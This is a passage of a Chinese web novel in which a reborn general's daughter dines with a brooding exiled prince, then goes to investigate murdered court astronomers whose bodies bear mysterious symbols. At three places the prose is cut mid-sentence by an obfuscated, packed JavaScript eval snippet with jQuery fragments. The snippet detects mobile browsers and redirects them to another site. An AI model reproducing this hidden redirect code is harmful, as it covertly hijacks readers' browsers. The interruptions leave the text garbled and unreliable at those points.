或许是他淡漠的语气惹得她不快,或许是骨子里的好胜心被激起,奚映雪也故意避开他的问题,仰着头道:“我奚家向来忠君报国、鞠躬尽瘁,怎么可能一点小困难就违背圣旨?”
凌昱抬头,睫毛微动,“北疆山高路远,路途险巇。”
前世,父亲落狱后,兄长被克勒族困于北疆之地。她焦急万分,有一次竟然冲动地拉住凌昱,请他寻找哥哥的踪迹。他勾唇一笑,拿走了她给哥哥的信件,当夜却送来许多北疆战场兵器遗物供她解忧,惊得她又是几个晚上没睡着。
现在,凌昱还没掌握兵权,她还是大将军府的嫡女千金,京城有爹娘庇护,边疆有兄长镇守,北疆之地更是遍布奚家的势力。
他出质还是让她护送?尊贵,哼!
想到这,她的目光愈发大胆,几乎是上下打量着凌昱。
她仗着自家势力雄厚,带着几分挑衅,朝他勾唇一笑,“我愿意去哪就去哪,山高自有我行路,水深自有渡船人,穷地虽险,极路虽峻,但是我愿意谁又能管我?”
奚映雪阔气说完,却发现凌昱目光深沉。
凌昱现在心情确实不太好。
明明听到那道圣旨,他是开心的,一则,可以短暂离开皇宫,不用为看见那些讨人厌的脸而生气;二则,宫外天地广阔,更有利于他联系绣春楼施展拳脚;三则,虽然不想承认,但是自从知道能日日见到那双霸道鲜活的眼睛时,心底还是有丝丝期待的。
奚映雪说他是她的人,那他在她身边也没什么问题吧?
可是,她好像不太高兴?接旨的时候那张俏脸就冷了下来,虽然那张脸冷着也很好看,但是凌昱还是更喜欢看她笑的样子。就如那天冷宫,如百花盛开,那么温暖。
原本以为她是觉得北疆条件艰苦,不愿出行,没想到她竟说她愿意去北疆。
所以,她只是不愿意和自己一起去。
凌昱阴沉地想,枉费他还当她天不怕地不怕呢!竟敢让他做仆人,还说他是她的人,简直,简直——
骗子!
见凌昱那张精致面庞突然沉了下来,很像前世要发疯杀人时的前兆。奚映雪心底一惊,连忙细细观看他的表情,却发现他似乎没有什么后续动作。
观察过后,她舒了一口气。
旋即,又涌上对自己惶恐情绪的不齿来。她承认自己是有点害怕前世阴狠暴虐的燕王。但眼前,凌昱还只是个少年,又有什么值得她忌惮的?
明明她是比他更强的那个!
良久,凌昱冷声道:“你想去就去,不想去就不去,我自然管不到你。”
奚映雪听见他的话,霎时更生气了——他简直虚伪至极!若没有他的暗自筹谋,又怎么可能短短三天之内住进将军府!——前世就是,他凭什么一边对她好,一边杀了太子,还以为她看不出这是一种羞辱!——他凭什么囚禁她,有本事像杀了太子一样直接杀了她,而不是留她在皇宫里苟且偷生!
她把那道圣旨狠狠地摔在他身上。
这动静终于惊动了屋内的婢女们。
“小姐,怎么了这是?你在这里呀,怎么站在门口不进来,外面很冷的。”刘妈妈不动声色地将圣旨拾起,口气关心,在兰猗阁,小姐是比皇帝还要大的存在。
几个拿着餐盒的仆人也悄悄看过来,面露惋惜,纵使是这般貌若谪仙的少年郎,也是照样惹大小姐生气。
绣橘更是直接冲了过来,小脸上全是气愤,他竟做出了惹怒小姐的事,哪怕是皇子也不行!
见到一群仆人真的围上来了,奚映雪心中又产生了懊恼。她竟然因为前世之事,对一个尚未长成的少年乱发脾气,枉她比他多活了一辈子!
收服未果,反倒让这尊大神住进了奚家。
平息了一会儿,奚映雪冷静了下来。
也罢,当仆人不行,那就相敬如宾吧。本来凌昱性格极端又嗜血,她还担心,万一他真当自己的仆人,哪一日他疯病犯了把自己住所搅得天翻地覆呢!
这一世,将军府,她不允许任何人沾染。
未来天子也不行。
奚映雪看着那几个仆人手里的饭盒,生硬找补道:“今日你初来将军府,我作为主人,自当好生招待你。”
她侧头示意凌昱进正厅吃饭,然而后者纹丝不动。
凌昱机敏的脑子像是被灌了浆糊一样,他眼看着奚映雪离他越来越近,直到对方抓住了他的手腕,指尖的温度透过衣料传来,带着淡淡的芬芳幽香,他才如梦初醒般抬起头。
只见琼鼻樱唇的少女直直盯着他,开口道:“跟我进去用晚膳。”
凌昱惊讶地微睁双眼,看着自己手腕上那雪白柔夷。上次在冷宫他就感觉到了,奚映雪虽然玩弄他、捉弄他,但是好像不排斥他,每次触碰都是那么坦荡直接。
——仿佛,他们之间,理所应当如此。
然后俩人坐在了膳厅内。
兰猗阁是奚映雪的居所,处处皆遵从她的喜好布置,虽无皇宫的富丽堂皇。但也是珠玉贝阙,雅致清幽,廊下墨兰丛生,暗香浮动。傍晚的阳光透过雕花窗棂照进来,在桌子上投下温暖的光斑。
奚映雪将一盘色泽鲜美的主菜推到凌昱面前:“尝尝将军府的手艺,虽比不上宫里御膳房的山珍海味,却也还算可口。”
凌昱垂眸看了一眼餐盘,又将菜盘推回她面前:“我吃的不是御膳房的饭菜。”
奚映雪:......她倒是忘了,他生活在冷宫里,估计也吃不到太好的餐食。想到此处,她心中的怒气渐渐消散,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096771|195648||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
招呼婢女,“再上一份光明虾炙、羊肉羹,还有我常吃的桂花糕、莲蓉酥,也都拿上来。”
婢女应下离开了。
奚映雪有些尴尬,想找个话题聊聊,便开口问道:“你平日里有什么喜欢的菜品吗?”
凌昱睫毛微动,语气恢复无波无澜:“没有。”
奚映雪“哦”了一声,又问:“那你有喜欢吃的糕点吗?桂花糕、莲蓉酥都很不错,甜而不腻。”
凌昱抬头瞥了她一眼,继续低头:“没有。”
“你有喜欢吃的主食吗?”
“没有。”
“你有没有尝过城北八珍宝楼的菜肴?那道招牌八珍鸭可是闻名京城。”
“没有。”
……
一问一答间,将近十几个来回,凌昱的回答永远是清一色的“没有”,直到似乎真的忍无可忍,他嘴角抽动,蹙眉:“到底有何事?”
奚映雪不为所动,洁白如玉的手指悠闲拿起一个糕点,嘴角弧度翘起来:“我想知道我的小狗喜欢吃什么有问题吗?”
说罢,奚映雪暗道一声糟糕,刚刚说的话太多,她其实就是想打听下凌昱有没有奇怪癖好解解闷儿,可谁知道他这么无趣寡言,竟一点信息没从他嘴里套出来,最后她也兴致缺缺,语气也变得随意了起来。
结果,竟然忘记了两个人的主仆约定已经因为凌昱出宫而作废的事,居然把那个字脱口而出。
然而她抬眼看向凌昱,却意外地看见凌昱藏在黑发下的耳朵尖貌似浮起几丝薄红。
奚映雪:???
凌昱此时已经被羞耻、愤怒、和那一丝隐秘的快感淹没,他以为她已经不要他了,然而她却说——却说——
她的小狗,她承认自己是她的了!
其实皇宫中,每次被围困打击,总是能听到“臭狗”、“畜生”之类谩骂之语,甚至小的时候还被那几个他的好哥哥逼迫着学狗叫,他也照样做了。凌昱对骂声依然无所谓,反正,他们迟早会死,他又跟死人计较什么。
但是,那天马厩,奚映雪说她不介意养只狗,现在又说自己是她的小狗,所以,她这是已经认下他了吗。
凌昱舔了舔嘴唇,发现自己属于她这件事让他唇干口燥,恨不得转几个圈发泄自己的兴奋与快乐。
但是,奚映雪不喜欢自己忤逆她。
凌昱抬眼看她,见奚映雪表情奇怪,似乎是因为没有得到回复而感到不满——对了,她不喜欢自己沉默。于是他赶紧夹了一筷子刚端上来的光明虾炙,细细咀嚼后,评价道:“这道就不错。”
奚映雪:......这人怎么一会儿好一会儿坏的,疯疯的真的没问题么。
因为离得近,她能清晰地看到那块虾肉缓缓被放进他的唇里,下颌处如线条刀削,唇角线条却很柔和,意外形成一道诱人的弧度。
他那双凤眼看向桌子上的虾肉,长长的睫毛垂下来时,在眼下投出浅浅的阴影,些许遮住那双极好看的瑞凤眼,睫毛微微颤动,像是雪后寒梅上振翅的蝴蝶,脆弱又惊艳。
以及,长睫拢着寂静湖泊一般的灰绿色眼瞳。
奚映雪有些发怔,话没经过脑子就蹦了出来:“你的眼睛为何是绿色的?”
14. 喜欢绿色
话音落下的瞬间,空气仿佛凝滞了。
凌昱的表情突然有些微妙,像是没料到她会问起这个,或者,像是没料到她会毫无预兆地问起这个让他难以启齿的问题。
大夏子民皆为黑眼黑发,唯有异族才会拥有其他颜色的瞳孔。这双眼睛,也是他从小到大被欺凌、被排挤的根源。它时刻提醒着丰玄帝那段不愿提及的过往,时刻提醒着皇宫里的所有人,他是那个血统不纯、格格不入的异类。
奚映雪问出这句话之后,也是立即就后悔了。
男女之间本就该保持分寸,随意评价他人外貌特征,已是交浅言深了。但是不知道为什么,那天在马厩,她在阳光下清楚地看见他瞳孔里的绿色。之后在冷宫,他受伤总是闭着眼,更是没看清楚,今天他现在离得近,把那他的样貌看得清清楚楚,脑子一热就问了。
两人相对而坐,屋内寂静无声。凌昱礼貌俊秀的动作,给了她一种眼前的人真的只是个十五六岁少年的感觉。
奚映雪捏着手指,话已出口,收不回来了,只能硬着头皮挽回,她试图让刚刚的莫名其妙的发言显得自然些:“我喜欢绿色,所谓道‘绿野晴天道’,绿色是晴天的颜色。”
她用食指轻轻比划了一下,“等开春了,漫山遍野都是绿色,生机勃勃的,好看得很。”她说完,心虚般地低头,用筷子戳着碗里的鱼肉,又忍不住偷偷抬眼看向凌昱,观察他的反应。
凌昱的嗓音从未像此刻这样发紧过。
他不明白,他已经属于奚映雪了,他肯定不会再伤害她。她又为何还要夸赞他?难道她不知道,他是个被所有人厌弃的异类吗?还毫无预兆的提起这双让他深恶痛绝的眼睛,又用这般温柔的话语赞扬它,说它是晴天的颜色。
难道,她又想戏弄自己吗?难道刚刚都是假话?
但自己又为什么不生气,心中还有满涨的感觉呢?
-
一顿饭还没用完,就有暗卫急匆匆地上前:“小姐,符号,出现了。”
奚映雪浑身一一僵,完全忘记控制声音:“在哪!?”
见凌昱抬眼,她才感觉到自己的反应有些过大,旋即定了定神,示意了一眼暗卫,带着几分仓促,匆匆走进里屋。
关上玄关门,将凌昱的视线隔绝在外。
“怎么回事?”奚映雪开口道。
暗卫顿了一下,居然目光凝重地着她,似乎是再斟酌要不要说法,“恐说出来,污了小姐的耳朵。”
暗卫那自小培养的护卫,人数不多,但个个能力出众,纵然没经历过大风大浪,但也不会故作深沉。
奚映雪打起了精神:“你且说就是,到底在哪看到了?”
低下头的暗卫语气沉冷:“符号,在......尸体上。司天监上下十六人,尽数殒命,无一活口,每具尸体上都画满了这种符号。”
奚映雪瞪大了双眼,她感到不可置信和惊慌,紧接着一阵翻江倒海的恶心感。
“是谁干出这种事!”十六人,竟都成了符号的载体,这手段简直变态得令人发指。
“小姐,那现场惨不忍睹,属下恳请您莫要亲往。”暗卫连忙劝阻,随即递上一张折叠整齐的焦黄色宣纸,“属下已将符号模样摹画下来,目前大理寺已介入调查,封锁了司天台。”
奚映雪接过那张宣纸,指尖微颤,虽仍有生理性的不适,却被强烈的探究欲压了下去。她深吸一口气,缓缓展开纸张,目光触及那线条诡异,内容繁复的符号时,眼睛瞬间瞪至最大,如遭雷击。
她敢肯定,自己绝对见过这符号!
奚映雪死死盯着纸上的符号,那种似曾相识的感觉又来了。前世,她定然在某个至关重要的场景见过它!是仓皇奔逃时的标记?是绝境中的求助信号?亦或是险些让她殒命的劫数见证?她骤然笃定,这符号,便是解开她前世记忆断层的关键。
“露湛朝阳,星环紫极......”那句晦涩难懂的话语不受控制地从唇边溢出,呢喃声在寂静的里屋格外清晰。
“露湛朝阳,星环紫极?"暗卫疑感重复道。
奚映雪点了点头,虽仍心乱如麻,却因寻得一丝线索而稍定心神:“看来,我是不得不去了。十三,你即刻去传话,今夜子时请宰相之孙张书函同往司天台,他精通古籍符文,或许能勘破其中玄机。”
暗卫听到她的命令,知道他是劝阻不了此事了,故只微微点头,身形一闪便消失在窗边。
映雪独自伫立在屋中,看着纸上的符号出神。
-
与此同时,城南郊外。
一个叫刘索的中年男子正呼哧带喘地走进一家客栈,他的胸口有一道血淋淋的伤口,紧急包裹的绷带更是勒得他皮肉外翻,隐隐透出青紫淤血。他却似浑然不觉疼痛,反倒满脸志得意满。由于满足了那人的要求,所以他心满意足地忍受着。
忍辱负重,方能换来他日荣耀。
踏入客栈一楼,刘索通红的眼珠如饿狼般扫视大厅。此刻正值黄昏,暮色四合,这家供往来旅人歇脚的客栈本就偏僻,此刻更是没什么人影,唯有掌柜趴在柜上打盹,跑腿的小二在角落劈柴,再无其他食客。
刘索随手甩出一袋子铜钱,“哐当”一声落在桌上,语气阴恻:“开一间最里面的卧房,我要休息,不用再端吃食上来!”
小二闻声抬头,见他神色凶悍,步履蹒跚,似乎带着伤,不敢多言,连忙引着他上楼。刘索则是快步走进客房,反手便重重关上房门,门闩"咔嗒"一声扣紧,将外界的一切隔绝在外。
卧房里的摆设很简单,床板,衣柜,一张四角木桌和木椅,除此之外再无其他。
刘索走到窗边,将窗户死死关上,又搬来木椅抵在窗沿,随后折返门边,反复拉扯门门,确认已锁死无误,才稍稍松了口气。多年来,他行事向来谨小慎微,靠着这份步步为营活到现在。
今日,他挟嗔恨而舍身,且无惧堕至阿鼻,他感觉他终于回报了那位大人。
胸前的疼痛骤然加剧,刘索再也支撑不住,顺着门板缓缓滑坐在地。他颤抖着伸出左手,抽出胸口用黑布层层包裹的物品,指尖小心翼翼地解开绳结,掀开黑布的瞬间,眼中进发出狂喜的光芒。
太好了!是大人口中的东西!
“太好了……终于得手了!”他喃喃自语,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096772|195648||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
如释重负地舒了口气,连忙将物品重新揣回怀中,贴身藏好。
慌乱间,一个匕首随之掉落,边缘,带着早已干涸的血迹。
-
深夜,万籁俱寂。
将军府陷入沉沉静谧,唯有她的窗棂还透着微弱的烛光。
奚映雪坐在榻上,手中紧擦着那张辜画符号的宣纸,眉头紧锁,反复摩掌着纸上的纹路,试图从中寻出更多线索。
从里屋回到膳房后,她总觉得凌昱看她的眼神愈发沉冷。若非里屋与膳厅距离甚远,隔音极佳,她几乎要疑心方才与暗卫的对话,都被他听了去。
难道真的......?和他有关?
可能吗?
奚映雪又想起前世她曾在燕王府见过的那副画,那张画是凌昱战场获得的胜利品,被他妥善安放于书房的抽屉之中。
那日,她受到太子书信指示,在燕王府探查线索。结果没想到,凌昱的书房居然没设锁,她就这么随意的打开了那个抽屉,恰好看到画中所描述景象一男子坐于草原,面朝星空,周身刻有北斗七星,天狼星,银河轨迹等隐晦星空符号,部分符号还被朱砂漫染,诡异又神秘,像是某种祭祀时的场景。
那画上没有神秘符号,奚映雪却觉得这画与神秘符号应该同根同源。只要看到,心中就会产生奇异之感。
但也许只是错觉吧。毕竟,前世的凌昱权倾朝野,已是一人之下万人之上,若真想设计陷害将军府,或是图谋不轨,何必如此大费周章,用这奇怪符号,用司天监的人命来故弄玄虚?
奚映雪摸索着宣纸,观察着纸上奥妙非常的符号,仿佛已经设想组合出几百个可能性。在没有其他证据的前提下,今日夜探司天台就是唯一的方法。她疲惫地放下宣纸,那线条纷乱,纹路诡异的符号,如烙印般刻在脑海里,挥之不去。
司天台十六人,全部身陨。
对于他们的死,尤其是司天监的监正,奚映雪禁不住有一种怅然若失的感受。那日冬至祭祀时,她曾与老人有过一面之缘,虽言语不多,却深深折服于他对星空观测的赤诚与执着,那份潜心钻研,鞠躬尽瘁的精神,令人肃然起敬。老人不仅精通天象观测,更懂气运走势,风云变幻,大夏诸多星空观测的典籍与祭祀礼仪,皆由他一手修订传承。这样的德高望重之人,竟落得如此惨死下场,实在令人扼腕。
还未到约定时间,她起身走到窗边,推开一条缝隙。
月色冷白雅静,星星冰清玉洁地挂在深蓝夜空中,将军府的青石子路上照出竹叶枝条的斑驳光影,寒意着竹子的清香扑面而来,稍稍平复了她烦乱的心绪。
奚映雪轻轻走出去,看着月色。
霎时,夜,静得异常。
深夜露重,彻骨凉寒,让她不有得打了个寒颤——
有什么不对!
仅刹那,她紧急转身向屋内退去。
眼角的余光忽然刚刚空无一人的门廊下的阴影里,黑影微动。
她浑身汗毛瞬间倒竖,心脏狂跳不止。
下一秒,一个人抬脚从阴影里走了出来,月光照亮了他的脸。
“凌.....凌昱?”
15. 危险
凌昱身着一袭玄色劲装,衣袍边角沾着些许尘土,像是刚从外面回来的样子。他眉目阴郁,浑身散发出一种低沉。
“你怎么在这?”奚映雪后背已沁出一层冷汗,显得有些色厉内荏。
方才那一瞬间,黑暗中骤然瞥见他的身影,前世那间染满血腥的密室仿佛再度浮现。眼前的人便如剧毒的眼镜王蛇,于暗影中蓄势,斑斓鳞片下,藏着的是致命獠牙。
然后,袭击、吞食。
惊恐稍缓,奚映雪还是有种心有余悸的感觉。
太可恶了!人的气质竟能如此与生俱来!明明他只是十几岁的少年,为什么能够给人一种异常危险的感觉?
这种感觉,哪怕是久经沙场的父亲、哥哥都没有的!
所以不难理解为何前世那位五品大员能吓尿裤子了,这种感觉确实需要控制。
凌昱就站在离她三步远的地方,黑色的领口有点凌乱,露出一点清晰的锁骨。
他用那双幽深瑞凤眼上下扫了她,见她面色健康,眼神清澈,没有被诡异符号侵蚀的萎靡之态,紧绷的身体才缓缓放松下来。
“你要去哪?”他率先开口,声音冷冽。
“啊?”奚映雪愣了一下,随即强压下心头的慌乱,佯装着平静开口:“我去哪与你何干?你问这些做什么?”
凌昱对她的反问置若罔闻,视线紧紧盯着她:“你要去司天台?”
“......你该不是听到了什么吧?”奚映雪问道。今夜,她要去查验司天台十六人死因之事并未对外声张此事,就连父亲都未曾告知,凌昱何以知晓?
更何况,他竟在这深更半夜,悄无声息地守在她的院门口,究竟怀着什么目的?可疑,实在太过可疑。
凌昱骤然沉默,不再言语。
月光落在他脸上,一半亮一半暗,勾勒出他锋利的下颌线,眼底的情绪复杂得像一团雾,看不清是松了口气,还是别的什么。
奚映雪渐渐压下了那种惊险的感觉,心里的疑惑越来越深。
他为何要大晚上跑到她的卧房门口?在这里等了多久?是单纯提醒她,还是怕她去司天台查出什么?
更或是,司天监的命案,神秘符号,本就与他脱不了干系?
星光之下,暗香浮动。
凌昱直直地看着少女,目光如这冬日夜色般望不见底。
他刚刚已经去司天台探查过了,十六条命案,基本确定是那个隐秘组织的所为。
而现在,一个不好的猜测在凌昱的脑海里逐渐成型:奚映雪可能是那个组织里的人。他细细回忆着近日少女的所作所为、言谈举止。之前,将军府明明从未涉及过那个组织,作为将军府嫡女,她的社交圈同样也是干净简单,不该掺和进此事中。
可是今日她与暗卫的对话,却绝非那么简单。
她身上绝对有谜团。
说不定,近期她三番四次的异常行为,还说什么“喜欢绿色”,都是她打探消息的手段。并不是戏弄,而是——确有所图。
思及此,凌昱淡然抬眼。在思索如何解决这潜在麻烦之前,心头竟莫名泛起一丝轻松:这是否说明,自己对她,还是有些价值和吸引力的。也许,在她和其他人一样找到那个东西之前,她会一直留在他身边,不会轻易离开......
所有设想和情绪交织过后,最先涌上来的,竟然是对她安危的担忧。于是他开口提醒道:“司天台如今已是是非之地,杀机四伏。”
“......”
奚映雪不说话了,她微眯着双眼看着眼前的少年。
她太鲁莽了。
前世种种,现在看来,远比她想象得更加诡异。线索之迷幻,涉及之复杂,背后牵扯的势力,绝非她一己之力所能抗衡。
而且,从深夜撞见凌昱的那一刻起,她突然有种隐秘的直觉,神秘符号,绝对与他有关。
她相信自己的直觉。
此刻她心中已然明晰三大要务:
一是,找到前世把神秘画作送进将军府的元凶,他肯定知晓这种符号的由来,所以,肯定是了解这种符号的人。
其二,她要在这场解开真相的途中活下去。仅凭司天台十六人的惨状便可知,此事牵连的皆是心狠手辣之辈,无论抱有什么目的,绝非善类。
其三,弄清凌昱在其中的角色,现在很明显,她在明,凌昱在暗,他的图谋、他的目的,她一概不知,这般被动局面绝不能持续。
如果是前世的她,或许会因恐惧而退缩,安分守己的回到院中;但是今世的她,早已下过决定,要做那与前世完全不一样的路线。
她抬脚,缓慢走向凌昱。
火光电石间,许多画面在她眼前飞速划过:前世,凌昱刺死太子时那抹冰冷的笑意,处理异己时如斩草除根般的狠戾果决,运筹帷幄时的深不可测,以及在燕王府中对她一再容忍的反常;今世,他时而危险时而顺从的表现……
一个清晰的念头浮上心头:凌昱不会杀她。
既然如此,她要利用这柄最锋利、也最危险的剑。
她步步逼近,最终停在凌昱面前,两人相距仅一尺之遥。
月色皎洁如霜,将两人的影子拉得颀长,交叠在青石板上。
奚映雪抬头,凌昱纵然是个少年,但是也比她高很多,这个距离她能看到他的头发有些凌乱,额前的碎发垂下来,眼下有些乌黑,艳丽的脸庞显得有些阴郁,却又透着股压迫感。
一双如月光般皎洁的素手扶上凌昱的领口,奚映雪轻笑:“你知道,我最不喜欢什么吗?”
凌昱看着逐渐放大的曼妙双眼,以及突然笑起来的少女,忽地心跳紊乱如鼓。
“不知。”
还没想明白怎么回事,他便感觉到领口处一道力量拉着他猛地往前,措手不及之下,他几乎贴上面前幽香泉源。
“呃。”一道闷哼声从喉间溢出,他被紧紧攥住了领口,顿时感觉到一阵窒息。
“——我最不喜欢的,是仆人命令主子。”那双上翘的猫眼盯着他,语气冰冷。
这力气着实大,他窒息的感觉逐渐明显,呼吸略微急促。
口鼻中全是她身上馥郁的兰花香气,几乎贴上了那色泽红润饱满的樱唇,意识因缺氧而微微昏沉,眼神也染上几分湿融迷离。
就在凌昱忍不住想要挣扎时,奚映雪松开了手。
凌昱踉跄着后退半步,弓着腰吸气,高耸眉骨下眼神深邃,像是即将出动的蛇。
被攥住咽喉的感觉,他已经很久没有感受过了,窒息、屈辱、刺激,以及少女松开手后,他心头竟涌上一股怅然若失的感觉来。
奚映雪轻轻抚上那因憋气而涨得艳色弥漫的脸庞。
凌昱本想闪躲,身体却莫名僵住,任由那双柔软、白皙素手像摸狗一样摸他。
像是奖励他,没有挣扎。
“你是我的仆人,一炷香后,护送主人前往司天台。”声音戏谑又恶劣。
她拍了拍凌昱的脸。
凌昱面皮轻微抖动了一下,那颗精巧的喉结不由自主的起伏滚动着,眼底的戾气与挣扎渐渐褪去,最终化为一片深不见底的平静。
“好的。”他
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096773|195648||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
说听见自己用低沉沙哑的声音回道。
-
司天监坐落于京城南侧,与翰林天文院相邻,临近宣德门。
因此处地势高旷,故感夜里寒风更烈。
奚映雪命令马夫将马车停在宣德门附近,下车便见张书函立在屋檐下等候,手中提着一盏油纸灯笼,暖黄光晕在寒夜中摇曳,勉强驱散些许阴冷。
张书函,丞相张言朝之孙,现任龙图阁学士,掌管御书、御制文集、典籍、属籍、世谱等,涉猎甚广,对古刹典籍、古代符号都颇为了解。
见到奚映雪,他连忙上前,迫不及待地掏出一沓线装古籍,摊开在灯笼下,“我收到你的密信之后就去查验了下,大夏朝历史上并无这种奇异符号,我怀疑,这是外族所出。”
“你看这里,这是克勒族的语言,笔勾还是有所不同......”
“这是回鹘族的象形文,因形似飞禽走兽而易于辨识,却也不符......”
“还有这个,是北境九莎答族的祭祀图腾,纹路繁复,倒有三分神似......”
奚映雪本是打起十二分精神聆听,可见他越说越偏,全然沉浸在典籍考据中,连忙上前打断,“书函,我们这次是为了查线索,考据之事,回去你再告诉我好吗?”
“啊,是我失言了!”张书函如梦初醒般,赶紧把书籍都收好,点头应道:“好的,走吧!”
说完,他又看向奚映雪身后:“这位是?”
奚映雪不以为意:“他是我的仆人,名唤小九,带他来护我周全。”
张书函打量着这个名叫小九的男人,样貌卓绝,身姿飘逸,这般气度竟只是个仆人?
将军府还是底蕴深厚啊!
三人从侧门走进司天台,丝毫不理会门前禁行标识。院内一片狼藉,案几倾覆,仪器损毁,积雪被踩踏得凌乱不堪,混着未干的血渍,阴气很重,划开的雪水被月光照得发亮。
一路沉默前行,三人靠近那命案之地,古灵台。
这方灵台矗立在司天台正中,高达七丈,通体由青铜铸就,历经岁月侵蚀,表面斑驳暗沉,如一尊蛰伏的巨兽。灵台四面各开一门,门楣上雕刻着二十八宿星图,纹路精密。
原本庄严肃穆的灵台,现在因命案,染上了丝丝血迹。
“你喜欢这个灵台吗?”张书函驻足,轻声问道。
奚映雪皱起了眉头。心中暗忖:好像文官很喜欢问武官这种问题。比如,你对哪本书籍怎么看?你喜欢什么画作吗?但是,这并不是一个武将世家出身的人能轻而易举就回答得了的问题。
“形制奇特,倒有几分奇妙。”奚映雪顾左右而言他。
“它很有来头,自大师之手,本就是古制星象之法与当世匠作之技相融的典范,曾经被比作素净瑶台丹。”
“台此台大有来头,出自前朝巧匠之手,融古制星象之法与当世匠作之技,曾被文人誉为‘素净瑶台映星河’。”张书函语气带着惋惜,抬手轻抚灵台斑驳的壁面,“台壁内嵌十二块青石板,刻满自武德年间至今的星象记录,字字关乎国运兴衰,可惜如今……”
我对星图完全不了解,奚映雪心里想。可我对大夏国运很了解——不过十年,周边异族均会被身后少年收服。
行至灵台底层的入口,张书函停下脚步,侧身示意:“到了,你们进去吧。”
“你不去?”奚映雪转头问道,眼中带着几分诧异。
“我刚刚看过了,门没锁,”张书函抬眸,那黑夜一般的眼睛深深地看着她,“你在符号上看到的,只是一个的开始。”